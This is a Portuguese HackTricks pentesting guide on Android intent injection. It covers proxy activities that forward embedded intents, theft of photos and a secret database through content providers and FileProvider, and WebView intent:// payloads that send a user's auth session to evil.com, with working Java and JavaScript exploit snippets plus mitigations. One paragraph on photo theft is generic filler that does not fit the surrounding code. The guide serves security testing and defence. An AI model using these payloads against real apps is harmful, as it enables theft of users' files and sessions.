hacktricks/mobile-pentesting/android-app-pentesting/intent-injection.md
2023-06-06 18:56:34 +00:00

16 KiB

Introdução

Essa vulnerabilidade se assemelha ao Redirecionamento Aberto na segurança web. Como a classe Intent é Parcelable, objetos pertencentes a essa classe podem ser passados como dados extras em outro objeto Intent.
Muitos desenvolvedores fazem uso dessa característica e criam componentes proxy (atividades, receptores de transmissão e serviços) que recebem um Intent incorporado e o passam para métodos perigosos como startActivity(...), sendBroadcast(...), etc.
Isso é perigoso porque um atacante pode forçar o aplicativo a lançar um componente não exportado que não pode ser lançado diretamente de outro aplicativo, ou conceder ao atacante acesso aos seus provedores de conteúdo. WebView às vezes também altera um URL de uma string para um objeto Intent, usando o método Intent.parseUri(...) e o passa para startActivity(...).

{% hint style="info" %} Resumindo: Se um atacante pode enviar um Intent que está sendo executado de forma insegura, ele pode potencialmente acessar componentes não exportados e abusá-los. {% endhint %}

Um caso típico

Vamos examinar um exemplo. Fragmento do arquivo AndroidManifest.xml

<activity android:name=".ProxyActivity" android:exported="true" />
<activity android:name=".AuthWebViewActivity" android:exported="false" />

Atividade ProxyActivity

startActivity((Intent) getIntent().getParcelableExtra("extra_intent"));

Atividade AuthWebViewActivity

webView.loadUrl(getIntent().getStringExtra("url"), getAuthHeaders());

AuthWebViewActivity é um exemplo de funcionalidade oculta do aplicativo que executa certas ações inseguras, neste caso, passando a sessão de autenticação do usuário para uma URL obtida do parâmetro url.

Restrições de exportação significam que o atacante não pode acessar AuthWebViewActivity diretamente. Uma chamada direta...

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
startActivity(intent);

lança uma java.lang.SecurityException, devido à Negativa de Permissão: AuthWebViewActivity não exportado do uid 1337.

Mas o atacante pode forçar a vítima a lançar o AuthWebViewActivity por si só:

Intent extra = new Intent();
extra.setClassName("com.victim", "com.victim.AuthWebViewActivity");
extra.putExtra("url", "http://evil.com/");

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

e nenhum violação de segurança surgirá, porque o aplicativo que está sob ataque tem acesso a todos os seus próprios componentes. Usando este fragmento de código, o atacante pode ignorar as restrições incorporadas do sistema Android.

Escalada de Impacto

Para aumentar o impacto dessa vulnerabilidade, você precisa encontrar outras vulnerabilidades/configurações incorretas que possam permitir aumentar o impacto da vulnerabilidade (já que a vulnerabilidade por si só não cria nenhum risco).

Escalada de ataques via Provedores de Conteúdo

Além do acesso a componentes arbitrários do aplicativo original, o atacante pode tentar obter acesso aos Provedores de Conteúdo do aplicativo vulnerável que satisfaçam as seguintes condições:

  • deve ser não exportado (caso contrário, poderia ser atacado diretamente, sem usar a vulnerabilidade que estamos discutindo neste artigo)
  • deve ter a flag android:grantUriPermissions definida como true.
    • android:grantUriPermissions="true" indica que seu código Java pode usar FLAG_GRANT_READ_URI_PERMISSION e FLAG_GRANT_WRITE_URI_PERMISSION para qualquer Uri servido por esse ContentProvider.
    • android:grantUriPermissions="false" indica que apenas os valores Uri especificados pelos elementos <grant-uri-permission> filho podem ser usados com FLAG_GRANT_READ_URI_PERMISSION e FLAG_GRANT_WRITE_URI_PERMISSION.

O atacante deve se definir como o destinatário de um intent incorporado e definir as seguintes flags:

  • Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION permite acesso persistente ao provedor (sem essa flag, o acesso é apenas uma vez)
  • Intent.FLAG_GRANT_PREFIX_URI_PERMISSION permite acesso URI por prefixo - por exemplo, em vez de obter acesso separado repetidamente usando um caminho completo como content://com.victim.provider/image/1, o atacante pode conceder acesso a todo o conteúdo do provedor usando o URI content://com.victim.provider/ e depois usar ContentResolver para endereçar content://com.victim.provider/image/1, content://com.victim.provider/image/2, etc.
  • Intent.FLAG_GRANT_READ_URI_PERMISSION permite operações de leitura no provedor (como query, openFile, openAssetFile)
  • Intent.FLAG_GRANT_WRITE_URI_PERMISSION permite operações de escrita

Um exemplo de um provedor típico onde um atacante pode obter acesso e realizar operações regulares como query, update, insert, delete, openFile, openAssetFile.

<provider android:name="com.victim.ContentProvider" android:exported="false" android:authorities="com.victim.provider" android:grantUriPermissions="true"/>

Exemplo de roubo de fotos do usuário no arquivo AndroidManifest.xml

Um atacante pode roubar fotos do usuário de um aplicativo Android, explorando a falta de permissões adequadas no arquivo AndroidManifest.xml. Para fazer isso, o atacante pode injetar um código malicioso no aplicativo que permita o acesso às fotos do usuário sem a devida permissão.

Para evitar esse tipo de ataque, é importante que os desenvolvedores de aplicativos Android garantam que todas as permissões necessárias sejam solicitadas e concedidas corretamente no arquivo AndroidManifest.xml. Além disso, é importante que os usuários estejam cientes das permissões que estão concedendo ao instalar um aplicativo e que verifiquem se o aplicativo realmente precisa dessas permissões para funcionar corretamente.

<activity android:name=".LeakActivity" android:exported="true" />

Arquivo MainActivity.java

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION
        | Intent.FLAG_GRANT_PREFIX_URI_PERMISSION
        | Intent.FLAG_GRANT_READ_URI_PERMISSION
        | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.provider/"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com.victim.provider/image/1
Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image

Ataques ao Android File Provider

Essa vulnerabilidade também torna possível para o atacante roubar arquivos do aplicativo localizados em diretórios que o desenvolvedor predeterminou. Para um ataque bem-sucedido, o aplicativo malicioso precisa obter direitos de acesso ao Android File Provider e, em seguida, ler o conteúdo do provedor de arquivos usando o Android ContentResolver.

Exemplo de provedor de arquivos (para mais detalhes, consulte https://developer.android.com/reference/android/support/v4/content/FileProvider)

<provider android:name="androidx.core.content.FileProvider" android:exported="false" android:authorities="com.victim.files_provider" android:grantUriPermissions="true">
    <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/provider_paths"/>
</provider>

Ele fornece acesso de leitura/escrita a arquivos em uma lista especial que pode ser encontrada nos recursos do aplicativo, neste caso em res/xml/provider_paths.xml.

Pode parecer algo como:

<?xml version="1.0" encoding="utf-8"?>
<paths>
    <root-path name="root" path=""/>
    <files-path name="internal_files" path="."/>
    <cache-path name="cache" path=""/>
    <external-path name="external_files" path="images"/>
</paths>

Cada tag especifica um diretório raiz com um valor path relativo ao diretório raiz. Por exemplo, o valor external_files corresponderá a new File(Environment.getExternalStorageDirectory(), "images").

O valor root-path corresponde a /, ou seja, fornece acesso a arquivos arbitrários.

Digamos que tenhamos alguns dados secretos armazenados no arquivo /data/data/com.victim/databases/secret.db: o roubo desse arquivo pode parecer algo assim MainActivity.java.

Intent extra = new Intent();
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.ProxyActivity");
intent.putExtra("extra_intent", extra);
startActivity(intent);

LeakActivity.java

InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server

Acesso a componentes arbitrários via WebView

Um objeto Intent pode ser convertido em uma string com uma chamada para Intent.toUri(flags) e de volta de uma string para um Intent usando Intent.parseUri(stringUri, flags). Essa funcionalidade é frequentemente usada no WebView (o navegador integrado do aplicativo): o aplicativo pode verificar um esquema intent://, analisar a URL em um Intent e iniciar a atividade.

Essa vulnerabilidade pode ser explorada tanto por outras vulnerabilidades (por exemplo, a capacidade de abrir links arbitrários no aplicativo no WebView diretamente por meio de atividades exportadas ou por meio do mecanismo deeplink) no aplicativo do cliente quanto remotamente, incluindo cross-site scripting no lado do servidor ou MitM no lado do cliente.

Exemplo de código vulnerável

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
        startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
        return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

O ponto aqui é que o método shouldOverrideUrlLoading(...) da classe WebViewClient é chamado toda vez que o WebView tenta carregar um novo link, mas dá à aplicação a opção de adicionar um manipulador personalizado.

Para explorar essa vulnerabilidade, o atacante precisa criar um redirecionamento WebView para um URL de esquema de intenção especialmente preparado. Exemplo de criação de URL:

Intent intent = new Intent();
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"

Exemplo de ataque

location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";

Esta versão contém várias restrições em comparação com a versão clássica da vulnerabilidade:

  • Objetos Parcelable e Serializable incorporados não podem ser convertidos em string (eles serão ignorados)
  • As flags inseguras Intent.FLAG_GRANT_READ_URI_PERMISSION e Intent.FLAG_GRANT_WRITE_URI_PERMISSION são ignoradas quando Intent.parseUri(...) é chamado. O analisador só as deixará se a flag Intent.URI_ALLOW_UNSAFE (startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE)) for definida, o que é muito raro.

Muitos desenvolvedores ainda esquecem de realizar uma filtragem completa de intents recebidos via WebView.

public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
    Uri uri = request.getUrl();
    if("intent".equals(uri.getScheme())) {
    	Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
    	intent.addCategory("android.intent.category.BROWSABLE");
    	intent.setComponent(null);
      startActivity(intent);
      return true;
    }
    return super.shouldOverrideUrlLoading(view, request);
}

O atacante pode especificar um componente não exportado através de um seletor.

Intent intent = new Intent();
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
intent.putExtra("url", "http://evil.com/");
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"

E contornar a proteção do aplicativo contra intents explícitos. Portanto, recomendamos filtrar também o seletor.

intent.addCategory("android.intent.category.BROWSABLE");
intent.setComponent(null);
intent.setSelector(null);

Mas mesmo a filtragem completa não garante proteção completa, porque um atacante pode criar um intent implícito correspondente ao intent-filter de alguma atividade não exportada. Exemplo de declaração de atividade:

<activity android:name=".AuthWebViewActivity" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <data android:scheme="victim" android:host="secure_handler" />
    </intent-filter>
</activity>
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());

Portuguese:

Portanto, recomendamos verificar se uma atividade é exportada antes de ser iniciada.

Outras maneiras de criar intents inseguras

Alguns desenvolvedores de aplicativos implementam seus próprios analisadores de intents (geralmente para lidar com deeplinks ou mensagens push), usando, por exemplo, objetos JSON, strings ou matrizes de bytes, que não diferem do padrão ou apresentam um grande perigo, porque podem expandir objetos Serializable e Parcelable e também permitem que flags inseguras sejam definidas. O pesquisador de segurança também pode encontrar versões mais exóticas de criação de intents, como a conversão de uma matriz de bytes em um Parcel e, em seguida, a leitura de um intent a partir dele.

Uri deeplinkUri = getIntent().getData();
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
    byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
    Parcel parcel = Parcel.obtain();
    parcel.unmarshall(handle, 0, handle.length);
    startActivity((Intent) parcel.readParcelable(getClassLoader()));
}

Vuln app

{% embed url="https://github.com/oversecured/ovaa" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥